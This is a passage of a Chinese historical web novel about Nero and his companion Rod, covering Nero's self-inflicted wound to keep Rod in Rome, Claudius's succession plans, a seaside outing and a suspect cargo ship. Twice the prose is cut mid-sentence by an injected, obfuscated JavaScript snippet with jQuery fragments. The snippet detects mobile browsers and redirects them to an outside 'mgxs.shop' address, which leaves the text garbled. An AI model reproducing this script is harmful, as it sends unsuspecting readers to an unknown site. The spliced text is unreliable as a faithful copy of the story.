这导致罗德的住处暴露,经常有人偷偷跑到门口、或是爬墙来偷窥弑君之人后代的容貌;有的甚至往墙里扔十字架、绞绳或沾血的匕首。
家宅周围的邻居为免遭殃,纷纷选择搬家;一些贩卖丧葬用品的商贩宁愿撕毁合同、支付高昂的违约金,都要和身世不祥的他割断来往,免得以后惹祸上身。
于是罗德虽然足不出户,但非常清楚外面到底是什么情况。
他从皮革手套中伸出半截素白的手指,此时正捏着一片亮黄的湿叶片。雨后的屋檐还在滴水,他的周身尽是滴滴答答的水声。
家奴从厅殿里走出来,对罗德倾身说道:“主人,墓园和骨灰都已经安置好了。您要亲自去采购墓碑吗?”
“不去。”罗德慢慢抬眼,平淡地说,“现在商人们都不愿意卖给我东西。”
家奴默默叹息一声,指了指放置在庭院角落的兵器架说:“那些兵器……您准备如何处理?”
兵器架是马尔斯生前用来存放刀剑的铜架。他是军队的指挥官,常年征战时收缴了很多造型奇特、或是锋利异常的兵器。
罗德望向架子。狼牙棒、三叉戟、铁网整齐地排列,雨珠沿着刺芒一样的刀刃滚落,铁器因为淋了雨而显得更加寒冷。
“当然是保存下来。”罗德说,“把铁刃擦干涂油,再买些兽皮包裹起来。”
家奴有些摸不着头脑:“可是按照惯例……新家主们都会在原主的旧物上重新铭刻自己的名字。”
罗德笑道:“我的名字不刻也罢。”
家奴了然,面色沉重地点了头。
这时庭院外传来一阵嗒嗒声响,很有节奏,震得地面也有轻微震动。
罗德轻轻嗅闻一下叶子,微垂着眼睛说:“去开门吧,有人要来了。”
家奴疑惑道:“有谁来了?”
“你主人的主人。”罗德面不改色,“他骑的马的铁蹄,是我一下下钉上去的,没人比我更清楚那种铁蹄跑起来时会发出什么声响。”
家奴愣了愣,赶忙走过去开门。
随着门开,尼禄细长的身影便从门缝显露出来,银白的刘海半掩着洁净的金棕色眼睛。他的纤瘦脚板噔噔噔踩上石阶,被风吹得翻飞的衣服勾勒出他凸显的骨骼。
阿格里皮娜的威胁象闻到腐肉味的秃鹫一样挥之不去。尼禄极度忐忑的同时,产生一种骄傲的情绪——罗德现在需要自己,他需要自己的庇护。
这个充满占有欲的想法让他眼睛发红。他就象吸入大|麻|烟雾的毒瘾者一样欲罢不能。
于是尼禄如同喝醉一样,踉踉跄跄地闯进庭院。
多日未见的两人于此刻对视。
视野中,罗德斜靠着石膏像,肤色有些苍白,身后尽是一排排的灰黑色筒瓦和闪着寒光的冷铁,唯一一点彩色是他手里捏着的黄叶。雨雾中,他素白的脸庞、以及那片亮黄的落叶泛起一圈蒙蒙的清晕。
这个场面象神启一样降临在尼禄眼前。
罗德平静地望着他,开口第一句话就是:“你瘦了。”
尼禄是在听到这句话时涌起酸楚的。这股酸楚沿顺到喉咙,使他有类似哽咽的感受。
他嗓子酸痛,眼前浮起一片水雾。原本怀有的满腹心绪,在真正见到罗德时都象泡沫一样消减下去。他本想说什么分析局势的、或者是安慰罗德的话,但那些话一到嘴边,就统统变成了一句:
“我想你了……”他努了努嘴说。
罗德平静的神色有细微的闪动。他捏着叶片的手一晃,带出几滴清凉的雨珠。
尼禄踩着一地雨水走来,站定在罗德身前,眼里有一丝迫切,“跟我回去吧,罗德。我真的受不了这些天的生活了……”
罗德凝视着他稍显焦急的双眼,“你打算接个麻烦回去吗?”
尼禄的表情有一些僵硬。
“这段时间你最好和我断绝往来,如果你不想让之前的所有努力功亏一篑的话。”罗德丢掉手里的叶子说,“你也不想让你用性命拼来的军功和政绩都毁于一旦。”
“不……你现在很危险。”尼禄握住他的双手,套在指间的戒指闪闪发亮,“你需要我……罗德,你需要我!”
罗德闻言,朱红的嘴唇翘起一个尖锐的微笑。他的眼睛沾有秋雨带来的水汽,此时微微低垂,两层浓密的睫毛挨得很近,里面就是氤氲的、泉眼般的黑眼瞳。
尼禄哪怕是身处深渊,都能因为这双眼而盲目地相信生活是快乐的。
“我可以保护我自己,不需要你的庇护。”罗德说,“事实上,我这些天正打算离开罗马……”
尼禄惊悸,“离开罗马?你要去哪儿?”
“没想好,但总之是一个偏远到足以跟你撇清关系的地方。据我所知西西里就很不错,”罗德说,“那里距离罗马很远,而且有海。”
尼禄呆愣半晌,连眼睛也不眨一下。他象生生咽下一根坚硬的鱼刺一样,以全部的感官和意志去消化罗德的话。
“有海吗……”他怔怔地自说自话。
罗德沉默着别过脸去,走到摆满灰铁色兵器的铜架前。各式刀剑反射的寒光映在他的眉目之间。
“你上过战场,接受过专门的训练,各种各样的兵器,你几乎都握过。”他伸出手触摸淋了雨的剑柄,“凭你现在的武力,有没有亲卫已经不那么重要了……”
尼禄猛跨一步,在罗德话音未落时就从背后抱住了他。他那因为消瘦而过于凸出的锁骨硬是撞上罗德的肩胛,发出沉闷的撞击声。
这个钝痛从罗德的肩胛骨渗入,象腐蚀一切的酸水那样,慢慢侵蚀他的百骸。
尼禄将下巴深深嵌进罗德的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239665|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肩颈,凑近他的耳边,苦笑道:“对我说了情话过后,转眼就要远离我,这未免也太残忍了吧……”
罗德微微侧过头,深黑的眼瞳一移,从眼角斜斜地看过去。他发觉到尼禄的眼睑颤抖得愈发剧烈,从鼻尖呼出的气息很不稳定。
他犹豫一下,还是说道:“你现在被情爱障目,根本不愿意考虑我的身份对你来说意味着什么。”
尼禄睁大眼睛,血色象被抽掉似的从他脸上褪去。他瞬间紧张起来,感觉五脏六腑都在疯狂地收缩,这是一种类似被扼住咽喉的痛苦。
他吸了吸鼻子,酸涩的喉头蠕动,夹杂着啜泣哀求道:“我只想要你别走……求你别走,罗德……”
罗德皱了皱眉,肩膀富有技巧性地一动,轻易便挣开尼禄的拥抱。
他从铜架上抽出两把短剑,随手丢给尼禄一把。尼禄一边因为哽咽而抽着气,一边象个蹒跚学步的孩子一样跌跌撞撞地接住剑。
“你太感性了,尼禄。我一点也不喜欢你现在这副样子!”罗德微微翘起嘴角,看上去有些讥诮。
尼禄虚握着剑柄,满脸通红,一下一下吞咽着酸痛的喉头。
罗德将剑刃移近唇边,朱红的嘴唇倒映在银白的剑身,象蘸在刃上的一片血。他吹去淋在剑上的雨水,雨水宛如珠子一样连串落下。
尼禄直勾勾地盯着他。
罗德翻手一动,白亮的刃光就扫过他的面庞。他一本正经地说:“男人的武器是刀剑,而不是眼泪。”
尼禄被他带刺玫瑰一般的气质所迷。自从爱上罗德后,他便将所有信仰和深情都寄托在他身上。因此每次对上那双幽深的黑眼睛时,尼禄都感觉自己无比地接近灵魂,或是某个主宰一切的真理。
他忽然开口道:“你还记得我们第一次见面时,你对我说了什么吗?”
罗德微微一愣,“我说了什么?”
尼禄攥紧剑柄,“你说你是来救我的……”
罗德笑笑,“这么久远的事谁会记得。”
话音未落尼禄就提剑逼近了他。
罗德的额发被剑风吹动。他惊异了一瞬间连忙抬剑抵御。生生的铁刃碰撞,飞出几颗白亮的火花。
隔着十字相抵的两只剑刃,尼禄认真的脸庞就近在眼前。罗德能闻到他每天都会涂抹在脸上的、杏仁油膏的清香味。
罗德挥开他的进攻,冷语道:“你狂躁什么?”
尼禄憋红了脸,死死抿着嘴唇,尖尖的下巴皱缩成核桃皮的样子。他什么也不说,握起剑,象赌气一样向罗德挥过去。
面对尼禄,罗德没有使用高级复杂的剑法,所用的都是最简单的防御。
尼禄连连逼近,一路下来踩得积水四处飞溅。
他知道罗德不会出击,便出手越来越重,就这么步步紧逼,一直把罗德逼进逼仄的墙角。
罗德的后背撞上硬实的水泥,已经无路可逃。
“尼禄!”罗德挡开他袭击过来的剑,厉声喊道,“你突然发什么疯?!”
尼禄欺身压过去,用他从战场上学来的技巧别住罗德的腿脚。
他们两人身体紧紧相贴,罗德腰间的皮甲硌得尼禄的肋骨隐隐作痛,但他就是不放开。他能听见罗德尽在耳畔的、稍稍紊乱的呼吸声,热息象千缠百结的柔丝一样盘绕着自己。
尼禄举起剑,作势要刺过去。
情势所逼,罗德只好勉强用短剑挡住。
两人以单纯的力量博弈,两柄剑在力量之下来回推移。剑刃砥砺出尖利的响声,有一些银亮的齑粉簌簌而落。
罗德咬紧牙关说:“你闹够了没有?!”
尼禄瘪着嘴,充满血丝的眼里含着半掉不掉的眼泪。他不依不饶,在僵持中将两把剑刃慢慢引到彼此咽喉的中间。
罗德倒吸一口气,正准备喝止他。
千钧一发之际,尼禄轻笑,突然松开了剑。
罗德心底一颤,瞬间便意识到他要做什么,全身的血液都往头顶逆流。此时已经来不及收剑,一刹那的时间只够将剑锋偏离尼禄的脖颈。
于是短剑就这么贯穿尼禄单薄的肩膀。
尼禄发出一声闷哼,咧出一个苦涩的微笑,发白的嘴唇抖动着说:“我好疼,罗德……”
罗德脸色煞白,脸颊处溅上几滴滚烫的血迹。
这一刻他好象耳鸣一样什么都听不到了,奴隶的惊呼、庭院外的马车声统统虚化为背景;只有尼禄因疼痛而发出的细碎的呻|吟,象钟鼓雷鸣一样回荡在耳侧。
尼禄疼得两排牙齿直打颤。他眼前发黑,终于支撑不住,虚弱地蹲下|身子。
罗德没有贸然拔剑,而是扶着他也蹲下来。尼禄在剧痛中仍不忘借势抱住他的腰,将一头软塌塌的银发贴到他的胸口上。
他疼得手脚冰凉,挺翘的鼻尖抽动两下,就委屈地哭出声来:“我爱你……罗德……我爱你……我爱你……”
罗德把他搂进怀里,捂着他汩汩流血的伤口,气得恨不得捶他一拳,“现在还想着说这些?!”
尼禄的眼角慢慢染上绯红,表情又哭又笑,矛盾极了。他歪过头,将脸埋进罗德的衣服间,使劲嗅闻他身上独有的皂角和秋叶的清苦味,发出一声满足而悠长的喟叹。
他声泪俱下地说:“我一直都爱着你……很早很早就开始了……早到我以为我生下来就爱你了……”
“我知道!我早就知道了!”罗德用衣袖绑紧他的肩以暂时止血,既心疼又气恼地说,“该死的……该死的!你何必以这种方式留我……你这个不要命的混蛋!”
尼禄攥紧他的衣服,因为疼痛而发出嘶嘶的抽气声,“所以……求你别离开我……真的求求你了……”
罗德依然面存犹豫,包扎的动作停顿了一下下。
尼禄往他怀里拱了拱,以脆弱的声音哀求道:“求你了……你究竟是来救赎我的,还是来惩罚我的啊……”
这一瞬间罗德意识到,其实尼禄从未长大过。
49. 在海边
尼禄就这样以接近自残的方式将罗德带回了家。
生性忧虑的他忌惮阿格里皮娜。除了偶尔去几趟元老院,他时时刻刻都黏着罗德,几乎是与他寸步不离。
外界难以理解他的做法,对他的批评甚嚣尘上。一些元老对尼禄发出弹劾,指责他被罪恶的血脉所妖惑,盲目偏袒心腹,担当不起皇帝的重任。
现任皇帝克劳狄乌斯持有相同的看法。
在皇宫里,即使是厨师都穿戴高档。他们剁碎煮好的蘑菇,拌上薰衣草花和百香果瓤,再搭配一小碗蚕豆和掺蜂蜜水的葡萄酒,这便是正餐之前的开胃小食。
克劳狄乌斯佝偻着驼背侧卧着,用银制汤匙品尝他最爱的蘑菇酱,瘦巴巴的腮帮一下一下鼓动。
餐桌对面躺着他的侄女阿格里皮娜。她很有礼仪地吃着东西,银发尽数高束,用橘红的网纱罩起来,既高雅又端庄。
即便是在寝宫,这对名义上的夫妇都穿得板板正正,确保衣领不会敞开到锁骨以下。
克劳狄乌斯放下银匙,委婉地开口说:“我听说……尼禄这段时间遇到了一点麻烦。”
阿格里皮娜心里一沉,神色仍保持冷淡,“我相信他会处理好的。”
“我也相信……”克劳狄乌斯假意说道,“可是元老院却不这么认为。很多元老给我发来密函,向我举荐了几个出身尊贵、教养良好的年轻人……”
阿格里皮娜瞳光一紧,手里的汤匙与餐盘碰撞出一声轻响。
克劳狄乌斯瞄她一眼,“再加上……屋大维娅的婚事还没有着落。我希望借此给我的女儿挑选一个可靠忠厚的丈夫。”
阿格里皮娜放下汤匙,沉闷地说:“您这是打算彻底放弃尼禄了,是吗?”
克劳狄乌斯被说中心声,尴尬地清咳两声,“法院那边睁一只眼闭一只眼,没有追究那个亲卫的罪过。元老院便认为尼禄与法院沆瀣一气,民众们质疑他给了法院好处,大肆渲染皇宫的腐败……”
阿格里皮娜静静地聆听,平静的脸上看不出一丝情绪。
克劳狄乌斯尽量以委婉的口吻说:“我承认尼禄的政治才能,也承认他行军作战和翻新浴场的政绩。可我不得不承认,他现在丑闻缠身……”
他努力摆出一副遗憾的样子说:
“我知道你很维护你的儿子,阿格里皮娜。但很遗憾,我无法不顾民怨、将罗马托付给他。屡禁不止的私盐、魔鬼般的洪水、有待翻修的剧场……我现在每天都要面对象杂草一样疯长的语言攻击,已经承受不了更多的怨气。希望你能理解我的难处,我亲爱的侄女。”
阿格里皮娜定定地望着他,面无表情,良久都没有吱声。那双暗棕色眼睛幽幽的,象在暗中流动的冥流,直盯得克劳狄乌斯后背发凉。
忽然,她绽开一个端正而得体的微笑,很体贴地说:“我非常理解您的所想所为。尼禄现在引起民怨,手里又没有令人屈服的军队。他既不是您的女婿也不是您的养子,仅仅凭奥古斯都的血脉和一点点的军功政绩,的确还是太单薄了。”
克劳狄乌斯松了口气,憋闷在心中的焦虑渐渐散去。
早在尼禄拒绝迎娶屋大维娅时,他就想另立储君了。尼禄现在处于舆论的漩涡,这无疑是向阿格里皮娜挑明的最佳时机。
两人沉默地吃了一会。奴隶端来两只撒满蒜蓉和奶油的烤龙虾,四只巨大的虾钳里还夹着玫瑰花。他们戴上镶满银线的手套,这样可以防止剥龙虾时虾壳划伤皮肤。
阿格里皮娜也戴上手套,很懂事地为克劳狄乌斯剥龙虾。
她一边剥壳一边低头问道:“为什么手套上要镶银线?这只会让手承受更多的重量。”
克劳狄乌斯擦掉嘴角的蘑菇酱,笑了笑解释道:“手套上的银线是为了检查食物有没有投毒。你也知道的……毕竟皇帝是一个高危的职业,还是小心点好。”
阿格里皮娜将剥好的龙虾蘸了蘸蘑菇酱,递到他的餐盘里。
她将双手摊开,稍稍一个翻过手,宛如银面的手套掠过晃眼的寒光。她微微眯起眼,若有所思地说:“我亲爱的叔父,恐怕您还是大意了。据我所知,其实有很多毒|药都不会让银器变黑。”
克劳狄乌斯大嚼特嚼着龙虾肉,不经意地问:“是吗?”
阿格里皮娜不动声色,没有再说话了。
……
罗马已经很冷了,榕树的树叶时不时就结满冰霜。奴隶们开始在后院挖地窖,准备在即将到来的冬天里储存冰块。
女奴将厨房畜养的鸡赶出来,用毛刷清洗圈养家禽的笼子以防止鸡瘟。
罗德躺在榕树的枝杈上,身上盖着一件柔软的羊羔皮。
他穿着舒适的便装,被树缝间溜进来的阳光刺激得眯起眼,经常包裹皮手套的手此时光裸着。他看上去没什么精神,一副充满惰性的模样。
这是罗德回家的第七天。
尼禄吩咐他不要再去训练场,并对他的饮食做严格的监督。为了防止伏击,尼禄连门口都不让他接近,榕树已经是罗德活动的最远界限。
于是罗德整天无所事事。
一群被释放的鸡咕咕叫着蹿到榕树下,不时有几个扑棱着飞起,扬起一层黄色的沙尘。整个庭院堪比家禽市场那样喧闹。
罗德昏暗的眼瞳掠过一点亮光。他屈膝坐起来,瞥见树下一群低头啄地的鸡,嘴角扯出一个玩味的微笑。
他忽然跳下树,鸡被他吓得乱飞,为他让开一个圆。
他的头发上沾了几根棉絮般的鸡毛,他也不在意,径直走去厨房拿来一筐菜叶。
打扫庭院的奴隶纷纷投来古怪的眼光,但不敢声张。
罗德撸起袖子,将菜叶全部揉碎,再撒到地上喂鸡。
他蹲在地上,这时一只公鸡一边咕咕叫一边扑腾着翅膀飞跳到他背上,啄起他的一缕头发。
尼禄从元老院回来,一进门就看见这幅有点喜剧色彩的画面。
罗德很敏锐地抬头,冲他招了招手。他的小臂上还挂有一些碎菜叶,头发乱糟糟的粘着鸡毛,整个人都蹲在飞扬的尘土里。
尼禄只觉得莫名心痛。
罗德站起身,用天井里的水洗手。他甩掉手上的水珠,冲尼禄微微一笑,“回来了。”
尼禄酸着鼻子,点一下头,“嗯……”
罗德轻巧一跳,就跳上榕树。他背靠树干,用下巴指了指树间说:“愣着干吗?上来吧。”
尼禄卸下披风,跳到树上紧挨着他。他顺着干燥粗糙的树枝摸过去,挽住罗德微凉的、湿漉漉的手。
罗德扫过他略显疲惫的脸庞,“怎么这次在元老院待了这么长时间?元老们对你的攻讦没有消减吗……”
尼禄的语速快得不像话:“……已经很少有人指责我了。”他的眼睛久久低垂着,多少有点躲避的性质。
罗德了然地说:“你不必为了留我而欺骗我,尼禄。”
尼禄握紧他的手,急匆匆地辩解道:“是真的!请你相信我……”
罗德抽回手,抱着双臂,眼睛来回打量他躲闪的神色。
尼禄结结巴巴地补充一句:“……是真的,罗德,你不要为我担心……”
他下意识地摸了摸下巴,眼睛飞快地眨几下,覆盖在鼻梁上的一小片雀斑微微颤动,一副如坐针毡的样子。他心虚得,就象一个对着神像许下空愿的教徒。
罗德转移了视线,没有再难为他。
他交叠起双腿,姿势颇为随意,“身为火事总长,我已经很长时间没有巡逻了。也许我手下的火警都快忘了我到底长什么样子。”
尼禄连忙应道:“我已经替你督促了火警队的工作,由每夜一巡增加到早晚两巡,给住在高楼层的居民配备了水管和钩耙。我还勒令所有的燃料商必须出示买卖合同,这样能监督人为纵火的恶行,还能让燃料生意更规范。除了神庙和剧场,罗马没有任何不必要的火种。”
罗德看着他,毫不吝啬地夸奖道:“不愧是行政官。”
尼禄苍白的脸上浮现一层淡淡的酡红。
“提到剧场,”罗德想了想说,“你翻新剧场的计划怎么样了?”
“没什么进展。”尼禄有点忧愁,“我知道它缺乏亮点,但它似乎又已经具备了所有亮点,这让我无从开发。我耗费了太长的时间……”
“别急。”罗德说,“创意的提出不在于时间,而在于契机。”
尼禄顿感安心。他挨近些,伸手去摘粘在罗德头发上的鸡毛,“我想带你出去走走。”他说。
“去哪儿?”罗德挑眉。
“海边。”尼禄说。
他摘掉鸡毛,手指顺势插进罗德的发间,一点点捋下来竟有潺潺流水的触感,“我一点不想看见你从一个自由自在的军人,变成一个无聊到要去喂鸡的人。”
罗德悠然地靠着树干,一双锋利的美目从细碎的额发间斜睨过来,十分傲然。
“好。”他轻笑道。
……
乘马车抵达海边时,已经是黄昏时分。
橘黄的霞光在海际远射过来,象是从天与海的缝隙中猛蹿出来的火焰。海浪声从四面八方一波波袭来,纯白的浪花象掉落在海面上的云,一朵朵地飘过来。
罗德打着赤脚,踩过由海浪推上岸的虾贝蟹壳,海腥味在他鼻尖下涌动。
他凝望海际,两层墨蓝的天海夹着一层黄霞映上眼瞳,象刷在黑玻璃珠上的油彩。
望着望着,他深深吸入一口腥咸味的空气,慢悠悠地勾起一个怀想之中的微笑。
尼禄傻愣愣地看着他,也随他的微笑而微笑起来。
他有时真觉得,罗德的一颦一笑都是他安身立命的根本。自己的躯壳乃至整个灵魂,都不过是罗德的衍生物罢了。
“就是在这样的海上……”罗德看着指半橘半蓝的海面,“我曾经扒着浮木漂了三天三夜,也曾经把死于疫病的同行人的尸体扔下船。就连船上的船帆我都吃过,当然是丢了渔网和鱼叉、又饿到要虚脱的时候。”
尼禄惊诧,“是在行军的时候吗?”
罗德淡淡一笑:“算是吧。”
这时,有一艘鼓着风帆的货船在海平线出现,象一只浮游在海上的黑点。
罗德眼中象点燃一样冒着亮光,抬手一指远处的船帆,笑道:“瞧见没有?就是那样的帆,我吃过!”
他那可称得上骄傲的微笑对尼禄来说十分刺眼。尼禄自发地蹙紧眉头,心有刺伤般疼痛。他身体里的每一根神经都刺痛起来,仿佛它们全部都归顺于罗德,已经由不得他本人再做主。
“那你看到这些船帆会难受吗……”尼禄顺着他指的方向看去。
“当然不!”罗德笑着否认,“我喜欢海,也喜欢船!”
这句话象神谕一样冲击过来。
尼禄有所启发,表情僵硬了一瞬间,蓝橘交接的海景冲刷在他棕木色的眼底。一个想法象就地隆起的山峦,轰隆隆地从他脑海中拔地而起。此刻的尼禄感觉如同被神明灌顶,满脑子都是流光溢彩的东西。
他倒抽一口凉气,声音颤抖地说,“我知道了……”
罗德转过头,“你知道什么了?”
尼禄激动得脸色发红。他象一只向主人撒娇的小狗一样,跳起来扑进罗德怀里,语无伦次地说:“我爱你!罗德!我爱你……是你赋予了我一切!你简直就是我的天神!噢……是你把好运都带给了我!你就是我的幸运女神福尔图娜!”
他把脸埋进罗德的颈窝,在罗德的喉结上用力吻着,发出颇为响亮的声响。
罗德推开这个黏糊糊的拥吻,看着他那张象是被点亮一样的脸庞,笑着问道:“你到底知道什么了?”
“我知道剧场应该怎么改建了!”尼禄抓住他的双肩,“我要引入海战表演!”
“海战?!”罗德挑起一边眉毛。
“对!”尼禄兴奋地说,“利用藏在剧场地下的管道将河水引入表演区,形成一个深深的大湖,用来表演海战场面。船只平时就存放在剧场的拱门里,表演的时候就用绳索拉进来。”
罗德想象一下,笑了笑说:“不错,建成之后我一定会去看的。”
橘红的晚霞铺天盖地,沉重得好象一只碗盘那样倒扣下来。远在海际的货船逐渐显露出形貌。乳白色的船帆尽数鼓起,船帆染上一层橘黄,如一块烤到微焦的面包。
那艘货船一边划出翻卷的浪花,一边慢慢朝岸边驶过来。
尼禄也脱了靴子,牵起罗德的手。两人一起走在被海水浸透的沙滩上,踩出的两排脚印随即就被不断冲刷上来的海浪推平了。
两人就象走进一片镀金的天地。
尼禄脸上有难以掩住的笑容,激动地说:“你在救我,罗德。从查出毒苇,到海盗、行军作战,再到翻新浴场和剧场,你一直都在救我。你让我一步步得到一切,我真不知道你还会给我什么样的惊喜……”
罗德忽然驻足,面目逐渐隐遁在长长的鬓发之下。
原本还放松的他迅速变得消沉一些,他的脚顿住,就深陷在沙子里,一只有拇指甲大小的小螃蟹从他脚边钻进沙里。
尼禄努力打量他意味不明的神色,心里一沉。他预感罗德要说一些令人沉滞的话语。
“有件事我想告诉你。”罗德顿了顿,“事关我的身世。”
尼禄哽一下,闷声说:“你说吧……”
罗德沉默片刻,开口道:“其实泰勒斯不是我的父亲,而我生父的身份仍然未知。我现在唯一能确定的,就是我的母亲是泰勒斯的姐姐。不过这些无聊的血缘关系对我来说并不重要……”
尼禄低着眼眸,静静地聆听,一副很沉闷的样子。
“重要的是,我的母亲曾经是在神庙里看守圣火的贞女。你知道这意味着什么吗?”罗德平静地说,“这意味着我会让你在坐拥一切之后却得而复失,或许那就是你的命运。”
尼禄定定地盯着他,一动不动,似乎连呼吸都屏住了。他的眼珠不动,望向罗德的眼瞳却熠熠生辉,就象一只泅泳的小鲸。生性感性的他此刻异乎寻常的冷静,冷静到仿佛穿了一层无形的铁甲。
罗德审视他的脸孔,顿了一下后说:“你看起来并不意外。你已经知道了,对吗?”
尼禄点点头,坦言道:“在你离家的那一个月里,我就查到了这些。”
罗德向后退了几步,直接坐在干燥的沙子上。他将随着海风飘动的头发撩到耳后,露出一只雪白的、象用小凿打造出来的耳朵。
他瞧了尼禄一眼,看似漫不经心地问:“那么,你作何感想?”
尼禄还站着,以居高临下的角度望着他,从他宛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239666|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如神笔勾勒的眉眼一点点瞧到精致的耳廓。
他有些愣神,着魔般地紧紧盯着罗德的耳廓。海边的壮丽美景他全部都忽略掉了,好象世间所有的美学都集中在那一小点耳廓上。
他紧挨着罗德坐下,重新牵起他的手。
罗德慢悠悠地瞧过来。
尼禄的嘴唇动弹两下,眼睛有点颤动。他就象一个年轻气盛、耐不住性子的哑巴,囿于缺陷却又想说很多很多的话。
最终他恶狠狠地来了一句脏话:“去他妈的命运!”
罗德笑起来,“尼禄啊……”他半是叹息半是轻笑地说道。
游驶的货船逐渐行到中央。
晚霞暗沉下去,具有活泼意味的橘黄被抽离,只剩下宛如血滴入水的缕缕残阳。这晚霞太红,鲜烈得难以排遣,几乎要凝成血雨滴落下来。
罗德侧了侧身,就地躺在沙子上。他随意地屈起一条腿,将头枕上尼禄的双腿,浓黑的长发散落在尼禄腿间。
尼禄低下头看他。两人无声地对视一小会儿。
罗德目光沉定,从尼禄散乱的刘海一直看到他只能算稍微有点血色的嘴唇。尼禄的眉眼极富阴郁色彩,这多多少少显示出他偏向不良的、黑暗的气质。
罗德的心跳愈发加重。凭此刻锤击般的心跳,他前所未有的、精准无比的感受到心脏在胸腔里的位置。
“好象很久没接吻了。”他忽然说。
他抬起手臂,勾住尼禄的脖颈往下压。尼禄愣了愣,在反应过来后扶起他的脸吻他。
罗德吻着吻着自然就闭上眼睛,手指伸进尼禄的卷发里。他连在接吻时都表现得慢条斯理的。
因为兴奋,尼禄素来苍白的皮肤变得潮红。他很快就把持不住自己,便站起来,直接压上罗德的身体。
他用力吮吸罗德的嘴唇,并象要吃掉他似的啃咬着。罗德皱起眉,轻轻呻|吟一声;这个轻声却震耳欲聋、刺激得尼禄血脉贲张。尼禄的心跳象雷鸣一样咚咚作响,重到让他担忧自己猝然死亡。他将眼睛睁开一道缝偷看罗德,罗德美艳的眼睫在微微颤动,他立马又闭上眼,不敢再看下去。过于幸福的感觉让他不由自主就泛出眼泪。
罗德感到自己的脸上湿湿的,连忙睁开眼睛,捧着他热烫的双颊说:“你怎么了?”
尼禄象酩酊大醉一样晕乎乎的,视野也十分模糊。
他早就从希腊罗马的诗歌里听闻过爱情的美妙。可当他真正爱上罗德时才明白,原来爱情和哲学一样,究尽文字和语言都难表其意,因为那是处于人类感知极限的东西。
尼禄与罗德脸颊相贴,在他耳边如梦讫一样说道:
“我爱你,罗德……我爱你我爱你……我真恨不得时时刻刻都能吻你!我是帝位的人质和野心的奴隶,爱上你真的是我这辈子唯一拿得出手的东西……”
罗德看向尼禄的眼睛里有一些悲悯。
他搂抱住他的脊背,神情复杂地说:“别再说了,尼禄。我听你说这些没感到甜蜜,只觉得心酸……”
尼禄趴在他身上,用哽咽得酸痛的嗓子说:“所以……别离开我,永远都不要离开我……”
罗德沉默地倾听着,什么都没有说。
他们这样躺着拥抱一会。如血的斜阳尽数蜕变为墨蓝色。几只海鸥掠过天空,一缕暗黄的余霞挤压在天海之间,仿佛太阳死前吐出的最后一口气。
天色已暗,海风变得凛冽,但两人都不想分离这个拥抱。
——直到那艘货船驶过来,停靠在不远处的台岸。
船员们举着火把从舱里走出,一齐拉动锁链,将船的梯板缓缓落下、搭在木板搭起的台岸上。船员的人数并不多,目测还不到十个人。
他们在一个穿金戴银的船长的指挥下,扛起一只只木箱走下船。
货船还泡在海水里,随着船员走来走去的动作而小幅度起伏,摇摇晃晃的。船员们点燃台岸上的火盆,星星点点的火焰勉强照亮他们脚下的路。
罗德揉了揉尼禄的脑袋,示意他起身,“那边有人。”他低声说。
尼禄听到这话,慢吞吞地站起来,回到一副没精打采的样子。
那些常年累月做苦力的船员腿脚极快,甲板上的货物很快就被搬卸得所剩无几。
两人互相拍掉衣服上的沙子。罗德瞄过去一眼,看见船体上刻着“奥托”的家姓。
“是你政敌的货船。”罗德看着船说,“看来他们又可以大捞一笔了。”
尼禄转过身,幽幽地望过去,神色凝重地说:“安东尼经常从印度进口铜像,再依靠他兄长的人脉卖给信奉神明的罗马人。凭这种稳赚不赔的生意,他已经要从一个被贬的平民上升到贵族了。”
罗德若有所思,“铜像吗……”
“对。”尼禄说道,“他几乎包揽所有神庙的所有神像。只要是去参拜的人,都能看到刻在铜像底座的‘奥托’。”
不一会,所有的木箱都被搬卸在台岸上,货船的甲板变得光秃秃的。
罗德定睛在货船上。那里摇摆着,泡在海水里慢慢地沉浮,就象一只身形庞大却行动不便的怪物。
他的眼瞳骤然紧缩。
“不对,”他笃定地说,“这艘船的吃水不对。”
尼禄不解道:“什么意思?”
罗德来回审视着货船,眉头紧紧锁着,声音有一丝紧迫:“过去看看。”
于是两人很快走到台岸上,找到了正在对船员骂骂咧咧的船长。
在尼禄拿出印戒亮明身份后,身份低微的船员纷纷跪下来,而那个穿金戴银的船长就象一只拼命逃跑却仍被咬住脖子的猎物,表情有些挣扎。他浑身抽搐一下,手里的火把差点滑落到甲板上,每一处毛孔都在因为溢出惊恐。
“噢……我尊敬的多米提乌斯大人……”他弓着身子,艰难地开口道,“遇见您真是我无上的荣光和惊喜……”
“少来恭维我。”尼禄漠然地说,“告诉我这两艘船上都装着些什么。”
“是……是铜像,大人,是从印度进口的铜像。”船长赔着笑脸,“您知道的,奥托大人是所有神庙的铜像承包商,他做铜像生意已经很久了。他手里的货船,一切流程都是合法的。”
“拿出一个我看看。”尼禄命令道。
船长殷勤地掀开一只木箱,双手捧过一座花瓶大小的铜像献给尼禄。
铜像是按照朱庇特的模样雕刻的,连朱庇特的胡须都雕得根根分明,铜像表明因为一直运在海上而沾染一层腻腻的水汽。
尼禄细细审视这座铜像,放在手里掂量一下重量。
“铜像很轻。”他对船长说,“这和它的尺寸完全不相符。”
“因为铜像是空心的。”船长谄笑着说,“现在还只有心灵手巧的印度人才能掌握空心铜像的技术。”
